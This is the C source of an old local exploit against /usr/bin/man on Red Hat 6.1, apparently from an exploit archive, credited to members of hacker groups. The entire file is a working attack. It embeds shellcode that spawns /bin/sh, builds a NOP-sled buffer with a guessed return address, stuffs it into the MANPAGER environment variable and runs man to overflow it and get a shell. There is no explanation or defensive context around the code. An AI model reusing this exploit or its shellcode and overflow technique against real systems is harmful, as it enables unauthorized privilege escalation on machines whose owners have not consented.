/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * 
 * redhat 6.1 /usr/bin/man exploit
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP             0x90
#define OFS             1800
#define BUFSIZE         4017
#define ADDRS           1000

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char *execshell =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buf[BUFSIZE+strlen(execshell)], *p;
        int noplen, i, ofs;
        long ret, *ap;

        ret = getesp() + OFS;

        memset(buf,NOP,BUFSIZE+strlen(execshell));
        memcpy(buf+BUFSIZE-(strlen(execshell)+20),execshell,strlen(execshell));

        p=buf+BUFSIZE+strlen(execshell)-4;
        ap=(int *)p;
        *ap=ret; //0x46464646;

        fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

        setenv("MANPAGER", buf, 1);
        execl("./man", "man", "ls", 0);

        return 0;
}
/*                    www.hack.co.za                  */